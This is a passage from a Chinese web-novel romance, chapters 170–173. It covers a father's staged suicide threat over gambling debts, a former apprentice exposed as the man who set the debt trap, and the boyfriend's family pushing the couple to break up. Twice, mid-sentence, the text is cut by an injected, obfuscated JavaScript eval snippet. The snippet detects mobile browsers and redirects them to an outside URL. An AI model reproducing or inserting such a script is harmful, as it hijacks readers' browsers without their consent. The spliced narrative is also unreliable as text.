孟棠:“……把我毁掉为什么去找魏川?你的意思是让他家里人发现我家里的真面目,让魏川跟我分手?可这样的威胁,你不觉得很没劲吗?还不如直接绑架我去威胁孟怀璋。” 方姐摊手:“那我也不知道了。” 魏川垂眸,将方姐的话想了又想,没出什么头绪时,孟怀璋从屋里出来了。 看见孟棠,他明显怔了下,后又小心翼翼朝她笑了笑。 孟棠坐在椅子上没动,盯着他看了好几秒,突然说:“你真的很烂!” 孟遇春一愣,一瞬的惊讶后,什么也没说。 孟怀璋简直无地自容。 魏川拉住孟棠的手,安慰地拍了拍。 等孟怀璋离开了,魏川说:“现在要报警吗?” 孟遇春说:“等等我的消息再说吧,主要是他没有证据,报警了也没什么用。” 手机响,魏川垂头一看愣了下,是他爸的助理。 魏川下意识瞥了眼孟棠,走到一边去接了电话。 助理说:“魏先生让我过去帮忙处理这件事。” 魏川一喜:“我爸叫的?” 助理应了声:“我今天下午就过去,会带着律师,到时候先去和公安的刘局见个面。” “行。”魏川狠狠松了口气,“那我在雁清等你,你知道地址吗?” “知道,之前查过。” 魏川挂了电话,他转过头跟孟棠说:“我爸助理打来的,说下午带着律师过来,还说——” “不好了!” 大门外一声急躁的少年音打破了魏川的话。 “孟爷爷,不好了,璋叔他去找了廖叔,两人一言不合打起来了。” “璋叔现在挂在麻将馆窗户外的空调外机上,闹着跳楼呢。” 孟棠一听,拔腿就往外跑。 “方姐,你照顾一下爷爷,让他慢点走,我先过去看看。” 魏川扔下一句话,跟着孟棠跑了。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第170章 宝宝威武 老廖家的麻将馆很大,三楼一整层都是他家的。 孟怀璋此刻就缩蹲在老旧的空调外机上,手拉着上方的晾衣杆。 “廖峰民,我知道是你设的局,你到现在还在装。” “我什么都明白了,就是你拖我下水。“ “你们一个个在他家打牌的都得注意了,我被廖峰民骗得利滚利,竟然要我还一百万。” 众人炸开了,一百万?这得多大的数目,他们平时也就打个小麻将而已。 老廖脸色铁青地指着他:“你别胡说。” “我怎么胡说了?”孟怀璋神情激动,“是你骗我去投资,也是你给了我十万块钱,是你跟我喝酒,也是你带我去赌的,怎么我输了那么多,你就凑巧输了几万,都是你,你们串通好的。” “我今天就死在你家楼下,我看谁还敢来打牌,不怕被我这个鬼缠上就尽管来。” “老孟你别冲动。”屋内有人劝道,“有什么话好好说,先上来行不行?” “我上不来了。”孟怀璋狠狠瞪了那人一眼,“他是要我倾家荡产啊。” “我告诉你们,人死债消,我今天就死在你廖峰民家了,你看着办吧。” 消防车的声音高频着闪了进来,他们一边赶着群众不让围观,一边拿出了气垫、安全绳等救援装备。 消防队现在要和孟怀璋建立沟通渠道,派了专业人士上楼。 孟怀璋看到一切,伸手阻止:“别铺。” 孟棠在这时跑了过来,看到楼上蹲着的人,心都吊到了嗓子眼儿:“孟怀璋!” 孟怀璋一愣:“你怎么来了?” “你到底在闹什么?”孟棠喊道,“你以为你死了,你欠的那些债就一笔勾销了?” “是啊老孟,你家闺女说得对,人还在,总有希望啊,你要是跳下去,一死百了还好一点,生怕半死不活的,你这不是连累你家孩子嘛,冷静一点。”老廖讪讪笑道。 孟怀璋反应过来一切,现在恨不得撕烂老廖的嘴脸。 他激动到满面狰狞:“冷静?你让我怎么冷静?” 孟怀璋确实冷静不了,他满脑子都是孟棠说他是烂人的样子。 那双眼睛满满的都是失望,比失望的还多的是深沉的痛苦。 他自己都不知道,为什么仅仅一个眼神,就能击穿他的心房。 让他顶着满头的火气找了老廖,结果越说越崩,情绪上头爬出了窗子。 人死债消,他只能想到这么一个破解的方法。 老廖还在虚情假意地劝,孟怀璋一个激动,拉着晾衣杆起身,可蹲着的时间太长,他还没反应过来,整个人失控地往楼下栽去。 孟棠僵硬地站在原地,被魏川一把抱住,挡住了她的视线。 周围的嘈杂声和尖叫声层层叠叠灌进孟棠的耳中,她腿一软,被魏川支撑住了。 “别怕。”魏川在她耳边说,“救护车来了,而且是三楼,掉到了垫子上,不会有事的。” 孟棠茫然地盯着魏川胸口衣服上的刺绣,直至眼神虚焦。 “乖宝,跟我说句话。”魏川一手揽住她的腰,一手捧起她的脸,“我说了没事,你听到没有?” 孟棠倏地吐出一口气,仰头看着魏川:“真的没事?” “没事。”魏川心疼地揉了下她的脸,“我现在就带你去医院。” “嗯。”孟棠愣愣地点了点头。 越过人群时,魏川余光刷到了李寒津和孟遇春。 “爷爷。”魏川喊了声,“没事啊,掉垫子上了,您先回去,我带孟棠去医院。” 李寒津一直搀扶着孟遇春,孟遇春听到魏川的话,朝他摆了摆手。 等他们走后,孟遇春一下佝偻了背。 不知道是不是楼层矮,孟遇春只是被砸晕了,全身多处软组织受伤,其余一点事没有。 听完医生的话,魏川自己都松了口气。 “我就说没事吧。”魏川拍了拍孟棠的头,“先坐会儿,你脸上一点血色都没有。” 孟棠摇摇头:“我去给他办理入院,找个护工陪着吧。” “也行。”魏川说,“还是趁着这段时间,把他的债务解决一下。” 孟棠主要是担心老爷子,医院这边的事处理好了,两人立刻回了老宅。 还好,有方姐陪着,而且魏川也给他打过电话,说了孟怀璋的情况。 方姐见他俩回来了,说:“先吃饭吧?” 谁都没有胃口,谁都没有吱声。 魏川顿了下,问孟遇春:“刚才是李寒津送您回来的?” 孟遇春点了点头。 “我去个卫生间。”魏川起身。 去了卫生间后,他掏出手机给魏立峰的助理打了个电话。 那头很快接通,魏川说:“徐叔,帮我查个事,先别带律师大摇大摆地来找我,去查一个叫李寒津的人,背地里查,动作一定要快。” “寒冷的寒,天津的津,曾经是孟棠爷爷的徒弟,你重点查他和孟怀璋在这近一个月内的交集互动。” “我怀疑这件事跟他有关,甚至是主导角色。” 这章没有结束,请点击下一页继续阅读!徐助应了声。 魏川挂断电话,看向墙上的镜子。 那些催债的目标挺明确,直接上门找到了魏家。 这会儿冷静一下思考,这件事确实诡异。 正常来说,在当地很有影响力的姓氏,牛鬼蛇神都得给三分面子。 乐清这伙人无知到上门堵着要钱,如果不是他们心大,就是不知道他家在z市的实力。 明明老爷子还得起,却转头去了魏家,只怕目的不是要钱,而是泄露孟怀璋的秘密。 而这么做的目的,自然是想让他和孟棠分手。 除了李寒津,魏川想不到别人。 孟棠说过,李寒津这个人记仇,心理也比较阴郁,也不排斥他是为了报复。 毕竟已经被整到离开了z市。 如果孟棠真的因为这件事跟他分了手,以后回了雁清,他说不定还能趁虚而入。 “好手段啊。”魏川眼神沉下去,既然这样,那就别怪他了。 魏川当即又打了一个电话出去,这次是打给魏思嘉的。 魏思嘉在忙,秘书接的。 都一样,反正最后的活都是秘书干。 魏川说:“我是魏川,你让我姐帮我办件事,雁清这边有个海棠工坊,搞木雕的,帮我查一下有没有什么黑料,查到立刻铺上网络,最好快一点。” 魏思嘉一向将魏川的话当事办,秘书自然知道,赶紧应了声就去办了。 魏川出了卫生间,那爷俩还在大眼瞪小眼。 他走过去,劝道:“好歹吃点吧,人不是没事嘛。” 孟遇春说:“我托人找关系,有了点消息,那些设局的都是专业的,不太好弄。” “没事。”魏川说,“下午我爸的助理过来,他会处理的,只要找到幕后的人,一切好办。” “幕后的人?”孟棠被这句话吸引,“现在连跟他一起赌博的人都找不到,怎么找幕后的人?” 魏川说:“最迟明天一定有结果,我已经让他们兵分两路去查了。” 孟遇春点了点头,对魏川说:“不管怎么样,要谢谢你。” “您干嘛这么说啊,孟棠的事就是我的事。” “不一样。”孟遇春说,“该谢还得谢。” 魏川摆了摆手:“这些事之后再说吧,反正不能人家让赔多少就是多少,而且,总得吃饱了饭才能应对吧?” 说着,他看向孟棠,小心翼翼道:“吃一点?” 孟棠点了点头。 魏川笑了声,亲自去给她盛了饭。 瞎想也没用,老爷子的心态倒是还不错,吃完饭就去睡了。 魏川陪孟棠回了卧室,将人抱在怀中轻哄:“你就不能跟老头学一学?心态放稳一点。” 孟棠知道他担心,牵强地勾起嘴角笑了笑,歪着倒向他怀里。 她哪里是心态不稳,不过是害怕罢了。 孟棠仰起头,小声说:“孟怀璋的事情要是处理不好,你家里人肯定会很讨厌我。” “不会讨厌你。”魏川低头亲了亲她的额头,“而且你管别人干什么?我喜欢你就行。” “说得好听。”孟棠撇了下嘴,“我爷爷要是讨厌你,你怎么想?” “我怎么想?”魏川笑了声,“我烦不死他,我天天搁他眼皮子底下晃,晃到习惯了,我走了还得让他问方姐两句我去哪儿了。” 孟棠被逗笑:“你真的很贫,但我很喜欢。” 魏川搂了搂她:“好了,今晚早点睡,我陪你,等你睡着了我再走。” “我先去洗个澡。” “好。” 一夜翻来覆去,孟棠没怎么睡着,直至凌晨五六点才沉沉睡去。 这一觉又错过了早餐,十来点才正式醒过来。 床边趴着个人,笑着问她:“起来了?饿吗?” 孟棠坐起来,眸光惊讶:“你不会一整晚都在这儿吧?” “没有,我刚过来没多久。”魏川将手机给她,“看。” 孟棠狐疑地低头,发现李寒津上了新闻,标题是——艺术遗憾,沦为金融工具。 大概就是他的工作室和投资方合作,将作品进行了证券化炒作,人为抬高市场价后抛售套现。 目前金融监管部门已经介入调查,藏家也开始集体诉讼李寒津欺诈。 孟棠有些愣,问魏川:“他怎么突然塌了?” “坏事做多了呗。”魏川说,“我姐的动作还真快。” 孟棠:“你让你姐查他干什么?” 魏川握住孟棠的肩膀,说:“告诉你可以,但不要激动,我怀疑你爸的事,是李寒津的手笔。” 孟棠一愣:“你说什么?” 魏川将自己的猜想告诉她,逻辑完全是通的,孟棠掀开被子起来:“我要去找他。” 魏川将人拦住:“别着急,今天肯定出结果,你先去洗漱,待会儿跟老头说一说这个情况。” 孟棠冷静了下来,说:“要是他做的,我绝不会放过他,等着坐牢吧。” “宝宝威武。”魏川跟她贫了一句,故意逗她开心。 果然,孟棠笑着推开他:“你真烦。” 李寒津这件事做得隐蔽,不过魏川查在暗处,一天的时间就被徐助理挖了出来。 孟棠和魏川一直等到下午六点才等到人。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第171章 我回,别来找她 孟家正厅,孟棠和魏川看着徐助理查出来的一页页资料,从头到尾过了一遍。 徐助理说:“对这位李先生来说,我们在暗,所以查的很顺利。” 雁清这边地方小,交际圈子重叠高。 他带着两个人和律师,七七八八扒了一天。 孟遇春懒得看那些密密麻麻的文字,直接问:“是李寒津做的吗?” 徐助理点了点头:“基本确定幕后黑手就是他,按照我们查到的资料判断,他应该从回雁清后就计划好的。” “孟先生出狱后,只有李寒津愿意跟他打交道。” “后来廖峰民突然找上孟先生,两人因为小时候的情意来往频繁。” “可根据我查到的是廖峰民一开始并不乐意跟孟先生再续旧情,其中是得了李寒津的好处。” “长恨人心不如水啊。”孟遇春笑了声,冷了眼神,“方姐,去把李寒津给我叫过来。” 方姐应了声,解下围裙出了院门。 魏川问:“所以之后的一切都是李寒津做的局?” 徐助理点了点头:“孟先生拿走的十万块钱也是他给的,廖峰民见钱眼开,什么都说了,帮李寒津做局的时候,他拿了人家两万块钱。” “所有的证据我已经保存下来,跟**那边已经打了招呼,只要李寒津承认了,事情就好办得多。” 孟棠敛下情绪,说:“那就等李寒津过来吧。” 李寒津还以为孟遇春是找他帮忙孟怀璋的事,心里一时有些得意。 可踏进正厅,他就察觉到气氛不太对劲了。 尤其是坐在孟遇春对面的两个陌生男人。 孟遇春起身,对李寒津说:“跟我过来。” 两人去了后院,香案之前,孟遇春让李寒津跪下。 李寒津对着蒲团跪了下去。 孟遇春说:“当初你拜师,是心甘情愿,入了门要守规矩,刻刀有九德,忠、正、刚、柔、韧、细、巧、拙、诚,你自己说,你做到了几个?” “师父?”李寒津仰面望去。 孟遇春说:“今天就在你拜师的香案前,我跟你彻底斩断师徒关系,以前你用我的名头闯出一片天,从现在开始,我要收回一切了。” “师父。” “我早就不是你师父了,走吧,自己做了什么,就去认,因为任何一张狡辩的嘴脸都很难看。” 李寒津攥紧拳头,十分不服地问:“我为什么不行?难道不是我跟孟棠的话题更多吗?她以后需要传承这门手艺,不是我对她助力最大吗?魏川不过是有点钱罢了,师父,我真的搞不懂。” 孟遇春看向还跪着的李寒津,说:“做人远比其他的一切都重要。” 李寒津跌坐在案前,自嘲地笑了声。 警方在这时候进了院子,徐助理拍了拍魏川的肩膀,叮嘱道:“这边剩下的事情我会处理,你赶紧回学校。” 魏川点了点头:“辛苦了,徐叔。” 警察将李寒津带走了,错身之际,他一直盯着孟棠,魏川直接挡在孟棠面前,隔绝了李寒津的视线。 孟遇春缓了片刻,对徐助理说:“剩下的事情,我们自己会解决,就不劳烦了,不过还是要感谢你帮着查了事情的来龙去脉。” 徐助理一愣:“我带了专业的律师。” 孟遇春摇摇头:“不用,剩下的我自己可以处理。” 事已至此,李寒津还有什么不认罪的理由吗? 只要他认了,孟怀璋被设局的大额赌债就可以申请无效,最终只需要赔付一开始的十万和合理的利息就行。 徐助理还想说什么,魏川拦住他:“徐叔,要不您先回,爷爷这里确实有点人脉,不会处理不了的。” 徐助理:“好吧,那我们先走了。” 魏川将人送到门口,折回了院内。 再看孟棠,脸上的表情显然也松懈了许多。 孟遇春让他们都坐下:“谈一谈今后的事吧。” 魏川在孟棠旁边坐下,有些不解:“什么今后的事?事情不是解决了吗?也差不多了,只要李寒津做过,这事他就赖不掉,怎么说也得三年起步吧?” “不是他。”孟棠说,“是说孟怀璋的事。” 魏川还是不懂:“不要他了?” 孟棠:“……” 魏川默默闭上嘴巴。 “其实前段时间,有人给他介绍对象。”孟遇春看了眼孟棠,“你觉得怎么样?” “不怎么样。”孟棠说,“家里人祸害完了,再去祸害别人吗?” “话不是这么说的。”方姐插了话,“你爸这种性格啊,要找个强势剽悍的镇他才行,省得他以后再惹祸。” 孟棠嗤笑:“谁愿意啊?” 方姐笑道:“还真有,但是你爸嫌弃人家脾气大,老爷子倒是看上了,觉得挺合适的,人家也愿意,老爷子说了,只要愿意,就给丰厚的聘礼,你觉得怎么样?” 你情我愿的事,她说了又不算。 孟遇春说:“如果事情能成的话,我打算给他们在附近买一套房子,省得他整天在家碍你的眼。” 孟棠跟孟怀璋已经无话可说,对于老爷子的决定,她也不想反对。 她知道老爷子心里是放不下孟怀璋的,总不能真的让他混吃等死。 “如果人家愿意的话,我自然无话可说。”孟棠说。 结婚的又不是她。 孟遇春说:“吃完午饭,你们就回学校吧,家里有我和方姐,之后的事,会打电话跟你说。” 孟棠点了点头:“行。” 吃完饭,孟棠将方姐叫到一旁,说:“家里只能麻烦你看着了,我怕爷爷被孟怀璋气到。” “没事。”方姐安慰她,“家里有我你放心,老爷子身体也还不错,他又不是不知道你爸那人,有什么好生气的,倒是你,在学校照顾好自己。” “这不是有我呢嘛。”魏川揽住孟棠的肩膀,“您放心吧,我会照顾她的。” 方姐:“行,那我就不送你们了。” 直至看着魏川开车走了,她才喜滋滋地回了院中。 “这个小魏真不错,人靠谱,性格也好,把咱们小棠也放在心上。” 孟遇春感叹地苦笑一声:“只怕马上就是别家的了。” 方姐没明白,转头看向老爷子:“您说什么呢?” “你看不明白啊?”老爷子示意她坐下,“我说给你听,今天来咱家的助理和律师,是割席的意思,他让魏川先回学校,却没带上孟棠,魏川的车就停在门外,你说是什么意思?” “那……”方姐慌了一瞬,“最后咱孟棠不还是跟小魏一起走了?” 孟遇春:“那是因为魏川坚持,他一个助理,又怎么好反驳大少爷的话,这些人哪,就是把体面摆在你面前,让你知难而退,我看那笔筒也不送用了,人家压根也不会收。” “难道他俩会分手?”方姐洗碗的心情都没了。 孟遇春叹气:“也说不准,但是他家里绝对不会同意,目前的不定数是魏川,他要是真能顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077957|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住家里的压力,我还真敬佩他!” “但万一顶不住怎么办?” 孟遇春忽然笑了下:“我倒挺看好他的,就是这过程,可能有点惨烈。” 方姐松了口气,老爷子金口一开,**不离十。 回去的路上,孟棠一直在睡觉,要是在服务区停下的话,估计要醒。 魏川知道她昨夜没有睡好,一路就这么开了下去。 魏立峰来电时,为了不吵醒孟棠,他几乎秒接。 “回来没有?”魏立峰在手机里问。 魏川余光瞥了眼孟棠,一边开车一边小声地回:“回来了,还有一个小时到学校。” 魏立峰说:“先别回学校,来家里一趟。” “我明天开学,怎么又让我回去?”魏川有些不耐。 孟棠不知道是不是一个姿势太久,悄悄侧过身体,面朝着车门继续睡。 “明天还没上课,让你回来就回来。”魏立峰说,“别让人催,有些事情也没必要拖着,不然的话,我只能去找孟棠。” 魏川握紧方向盘,咬着牙说:“我回!别来找她,等我把她送回学校。” 魏立峰挂了电话。 魏川呼了口气,气息带着明显的燥意。 闭着眼睛的人默默流了两行泪。 上车就睡觉,孟棠其实也在回避。 她心知肚明接下来要解决的是她和魏川的关系。 孟棠抿了抿唇,将唇边滴落的眼泪全都吃进了嘴里,苦得要死。 那又怎么办呢? 再喜欢又有什么用?甚至,魏川的家人已经知道了孟怀璋坐过牢。 这事她本来不确定,可白天徐助理提到孟怀璋时,显然已经知道了。 这件事她一直压着没问魏川,也是在刻意躲避。 她不敢听答案,因为魏川是爱她的,可也是为难的。 孟怀璋的九年,是别人审视她的第一途径,也是她无法反驳的事实。 一个小时很快过去,快接近学校时,路上就开始堵起来。 魏川趁着红灯叫醒了孟棠:“饿不饿?我带你去吃饭?” 孟棠摇了摇头,有些躲他的视线,说:“送我到东门吧,我随便买一点。” 魏川将车往学校东门开,还有一段距离时,孟棠说:“前面人太多了,就在这儿停吧。” 魏川将车停下,解开了安全带:“我陪你买点吃的,送你回寝室。” “我自己买。”孟棠说,“你这车太大,还是赶紧走吧。” 魏川还要回去一趟,犹豫了下,说:“那你到寝室给我发条信息。” “好。” 魏川去开车门,忽然被孟棠按住了手腕。 “怎——” 他的话还没问出口,孟棠揽住他后颈亲了上去。 两人身高有悬殊,魏川下意识倾过身迁就她。 他揽住她后背热情回吻,昏暗的车厢里,一时之间,只剩下彼此的喘息。 这是一个风波后充满抚慰的吻,可孟棠太过主动和热情。 也不知道过了多久,孟棠松开了魏川的脖颈,温柔地朝他笑了笑:“我走了?” 魏川问:“真不用我往里送送?” “不用了。”孟棠说,“你这车停在这里挺碍事的。” 魏川用掌心揉了揉她的脸:“那我走了,不要不吃饭,回去给我拍照,我要看的。” “好。” 孟棠定定看了他几秒,又亲了下他的唇,推开车门下了车。 脚还没落地,眼泪先砸了下来,洇湿了灰色的地面。 第172章 明明喜欢得要死 孟棠不知道魏川走没走,也不敢擦眼泪。 直至进了一家馄饨店,她才呼出一口气。 店员问她吃什么,孟棠低着头要了一份荠菜馄饨。 其实她没什么胃口,但魏川要她报备。 她在餐桌的角落边坐下,等馄饨上了桌,她给魏川拍了张照片过去。 秉持着不浪费的原则,孟棠吃光了馄饨。 在楼下缓了许久,她才回了寝室。 谢泠音听到动静,转过头:“你回来了?” 孟棠抿了下唇,看到自己的被子和床单叠得整整齐齐,对谢泠音道了声谢。 谢泠音皱眉:“怎么总这样道谢呢,你看着有点不太好啊?急匆匆地走,是不是家里出事了?” 孟棠回眸看了眼,问:“石岚和杨可还没回来?” 谢泠音说:“她俩逛街去了,我跟许鹤清吃过饭刚回来。我听他说魏川陪你一起回去了,到底出什么事了?” 孟怀璋的事,孟棠已经跟谢泠音说过了。 可她也不知道该怎么开口,只是谢泠音一关心,她还是没忍住酸了鼻子。 孟棠蹙着眉,眼里蓄着泪,对谢泠音说:“我也不知道该怎么说。” 谢泠音吓了一跳,拿了纸巾给她:“怎么了?跟我说说。” 孟棠被谢泠音按坐在椅子上,仰头擦了下眼泪。 她没有大篇幅地说孟怀璋的事,只说因为他,自己和魏川可能要分手。 谢泠音一时语塞,说不出一句安慰的话来。 因为站在每个人的立场,好似都没有错。 半晌,她试探地问了句:“魏川怎么想?” 孟棠说:“他肯定是不想分手,我也不想,可在上楼之前,他被家里人叫了回去。” 谢泠音拍了拍她的后背,小声问:“你相信魏川吗?” 孟棠没有丝毫犹豫,看着谢泠音的眼睛:“我相信他,泠音,但我无法面对他的家人。” “可以好好聊一聊的啊。”谢泠音觉得这么分了实在可惜,“这些事又不是你做的。” “我知道不是我做的。”孟棠不知道该怎么跟她聊下去了。 她的心里堵着一块自尊的石头。 包里的手机响了起来,这个点,只能是魏川。 她的包就挂在床边,伸手就能拿到。 谢泠音不打扰她接电话,转身回了自己座位。 孟棠将椅子往前拉动,整个人几乎陷进了座位里,之后才接了电话,“喂”了声。 “我看到你发的照片了。”魏川声线带着夜色里深沉的温柔。 “不知道吃什么。”孟棠笑了声,“随便挑了一家。” 不爱吃馄饨的人说:“我也想吃了,明天我们一起去?” 还有明天吗?孟棠咬了下唇,差点又没憋住眼泪。 顿了许久,她“嗯”了声:“给你点肉的吧,我今晚吃的荠菜,你应该不爱吃。” “好。”魏川应了声,“你洗澡没?” 孟棠:“刚要去,你就打了电话过来。” 魏川轻笑一声:“那你去吧,今天也累了一天。” 孟棠其实还好,但魏川确确实实开了四个多小时的车。 她也不想打扰他休息,于是说:“知道了,你也早点休息吧,今天辛苦你了。” “好,晚安。” “晚安。” 挂断电话,魏川猛地“嘶”了声,魏思嘉拧着眉,看着医生为他处理手上的伤。 也真是能了,发脾气直接捏碎了高脚杯。 “忍着。”魏思嘉没好气地来了一句。 医生给他包扎好后,叮嘱了注意事项后,起身离开了魏川的房间。 “这下好了,篮球也不用打了。”魏川阴阳怪气道,“老贺估计能剥了我的皮,**脆不去学校了,天天就在家里被她骂得了。” 魏思嘉看了下他的手,说:“你非得把妈气进医院才甘心?” “她明明可以不用气的。”魏川想起来心口也闷,“她看不出来我有多喜欢孟棠吗?从我回来到现在,只有分手两个字,我要是能分手,用得着跟她吵起来吗?” “爸也是,这次也不知道怎么了,铁了心的站在妈那边,你们没一个人支持我。” 魏思嘉说:“沅沅支持你。” 魏川嗤笑:“她也就嘴上支持,妈一说话她就跑了。” 魏思嘉觉得谈个千万的项目都比谈恋爱简单,这也太折磨人了。 可她也确实左右为难,她想劝楚茵算了,孟棠也没什么错,可还没开口,楚茵一堆话就下来了,甚至扯到了长姐的责任,她一度很无语。 她也想对魏川说,要不你跟孟棠分手算了,这才多久,感情能有多深,可一看到魏川执拗的眼神,她更开不了口。 那句感情不深,更是瞎扯淡。 明明魏川喜欢孟棠喜欢得要**。 作为魏川的大姐,魏思嘉心知肚明,魏川想要的,必须要得到。 魏川心里烦,说:“大姐,你回房吧,我自己一个人待一会儿。” 魏思嘉叹了声气,离开了他的房间。 没一会儿,有人敲响了他的门。 魏川以为是楚茵,故意没吱声,哪知门口叫了声:“少爷,老太太让您过去一趟。” 是老太太身边的林姨。 魏川起身走了过去,开了门:“林姨,奶奶叫我过去干什么?这么晚了,她老人家还没睡吗?” “没睡呢,走吧,老太太想跟你聊聊天呢。” 老太太住在后边那栋别墅里,魏川跟着林姨去了北边。 老太太披着白色披肩,优雅地坐在沙发上等他。 “奶奶。”魏川走了过去。 老太太拍了拍身边:“坐吧。” 魏川在他身边坐下,却一言不发。 老太太笑了声:“难道要一直这么跟家里犟下去吗?” “您什么意思啊?”魏川看向老太太,“您当初可答应我的,会帮我说话,可您到现在,一句话也没帮我说过。” 老太太拍了拍他的手:“你是奶奶的小傻子啊,你这样跟你妈犟下去,谁都没有好处,也影响你和孟棠的感情。” 魏川一愣:“奶奶,您是不是有什么办法啊?” “我可没什么办法啊。”老太太说,“我就知道,你一直不松口是不行的。” “那我松口答应跟孟棠分手?”魏川觉得荒唐,“您听听像话吗?” 老太太清了清嗓子,说:“暂时不松口,气一气你妈,她一定会去找孟棠,你再回来发脾气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080829|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等她真晕了送去医院的时候松口,表现出你是为了她放弃孟棠的,之后她让你做什么,你就做什么,一段时间后,她自会心软。” “……万一气出病了怎么办?”魏川瞪大了眼,没想到老太太的招数这么猛。 老太太笑道:“不会,还没晕呢,你爸就往医院送了。” 魏川眨了眨眼:“那孟棠怎么办?我不想伤她的心。” 老太太指了下他的脑袋:“你放心,只要你妈妈去找她了,孟棠的态度一定会有变化,即便不想跟你分手,也会犹豫不决,就在这段犹豫不决的日子里,你要让她再次坚定选择你,排除万难的心。” 魏川没明白,他扒拉住老太太的手腕,问:“您跟我说清楚一点。” 老太太笑了笑:“过段时间不是我的寿辰吗?香港周家人会过来祝寿,Vivian也来啊,你爸妈就等着她给你做女朋友呢。” 魏川当即就要逆反,被老太太按住。 “小川,Vivian是懂事的女孩,你可以请她配合你,刺激一下孟棠,这样一来,你妈妈和孟棠两边双管齐下,一个后退另一个也就扑了上来,事也就解决了。” 魏川明白了老太太的意思,但还是一口拒绝了:“我不要,我不想刺激她,我也不想看见她难受。” “难受一次,这辈子都不会忘记。”老太**慰他,“她难受,你只会更难受,并不比她少一点。” “只有难受了,你俩以后才会更加坚定地扶着彼此走下去,现在年轻人的感情来得快,去得也快,我希望你们能长长久久。” “只有经历过磨难的感情才会长久,我希望你也记得,记得曾经为了她所付出和抗争的一切,不要辜负她。” “同时,如果你妈妈去找了她,你也不能怪她动摇。” 魏川看着老太太:“为什么?” 她如果真的一口答应楚茵跟他分开,他会难过的。 老太太摸了摸魏川的头:“爱会让人有无限的勇气,也能造就巨大的自卑。” 魏川明白了:由爱故生忧,由爱故生怖。 “我想想吧。” 不得不说,老太太的办法其实很好,可他狠不下心刺激孟棠。 “别想了,你要是不按我说的做,这件事有得扯,你妈最疼你,见不得你受委屈,你适当演一演她就能心疼。” “你的手不是受伤了吗?给你教练请个假,待会儿回去就不用我教你了吧?” 魏川叹了声气,回了前院。 他作势拿了车钥匙就要走,被魏立峰抓了个正着:“你要去哪儿?” 魏川还没真演过戏,豁出去似的扬着脖颈:“我要回学校。” 魏立峰说:“给你请假了,这几天待在家里。” 魏川喊道:“凭什么给我请假?又凭什么你说什么就是什么?” 魏立峰不跟他废话,要了保镖堵住了他的去路,说:“我就不信你受伤了还能打?除非你以后不想打篮球了。” 魏川沉默半晌,一脚踢开了自己的房门。 魏立峰也没理他,只是让保镖守着人。 回到卧室,魏立峰跟楚茵说:“你明天去找孟棠聊一聊吧。” 楚茵点了点头:“行。” 第173章 是支票没用出去吗 魏川关上门后,第一时间给孟棠发了信息:【睡了吗?】 孟棠没有睡着,盯着屏幕半天,回:【没睡。】 她一直都在想和魏川的未来该何去何从,强迫了自己半天都没能睡着。 因为她有预感,魏川会给她发信息,这不就来了。 魏川回:【能不能语音或者通话?我想跟你聊一聊。】 【稍等。】 孟棠轻手轻脚下了床,随意拿了件薄毯披在身上,推开了阳台的门。 随后,她给魏川打了语音过去。 魏川一喜,当即接了:“你室友是不是都睡了?” 孟棠“嗯”了声:“这么晚了,你想跟我说什么?” 手机那头沉默了一瞬,魏川说:“我现在在家,没在学校。” 她当然知道,孟棠无声地苦笑了下,嘴上却还配合着,声线十分温柔:“怎么在家啊?” 魏川说:“我爸叫我回来的,有些事情,你是不是已经猜到了?” 其实捏碎酒杯后,一切愤怒的情绪都因为手掌的鲜血而散了几分。 头脑冷静之后,他才后知后觉孟棠晚上的表现不太对劲。 “猜到了。”孟棠裹紧了身上的薄毯,目光放得很远。 果然,她在车上根本没有睡着,还有临别前那个主动热情的吻。 她是在和自己告别吗? 魏川心口刺痛,没有揭穿她,说:“我被我爸留在家了,奶奶给我出招,让我暂时先顺着我妈,再用Vivian刺激一下你。” “Vivian?”孟棠疑惑,“关人家什么事?” 魏川说:“我奶奶马上要过寿,周家人会过来。” 孟棠垂了垂眸,听他的意思,魏川的父母看上了Vivian。 而Vivian也喜欢魏川。 可魏川并不喜欢Vivian,为什么要把别人拖进来,孟棠并不喜欢这样。 “你答应了?”她问。 “只说考虑考虑,我不想用任何人来刺激你,现在听到你的声音,我更加确定不会将别人扯进我们的感情里。”魏川的声音在手机里显得温柔又低沉,“你要相信我,我一定会处理好这件事,如果我妈去找你,第一时间告诉我。” 这个他确实没办法保证,毕竟他不能24小时都待在孟棠的身边。 按照他对楚茵的了解,一定会去找孟棠。 孟棠点了点头:“知道了。” 魏川松了口气:“就怕你倔,反正你不用害怕。” “知道了,”孟棠又说了一遍,“其实很多事我可以自己解决,你也不用害怕。” “我明天可能还得待在家里一天,晚上去找你,行吗?”魏川说,“咱俩的馄饨还没吃呢。” 孟棠应道:“行。” 魏川笑了声:“我想你了。” “咱们刚分开没多久。”孟棠也笑了声,“怎么这么黏人?” “老爷子有没有给你打电话?” “没有,估计去医院了。” “你真的答应孟怀璋结婚?” “不关我的事。”孟棠说,“时间不早了,不聊了,睡觉去了。” “行。” 魏川还有点舍不得,他看了眼时间,确实不早了,只能依依不舍地挂断电话。 孟棠捏着手机,手指点在栏杆上,一下又一下,目光幽幽落在远处。 其实没什么怕的,魏川不是还在向她努力走来吗?难道她要后退? 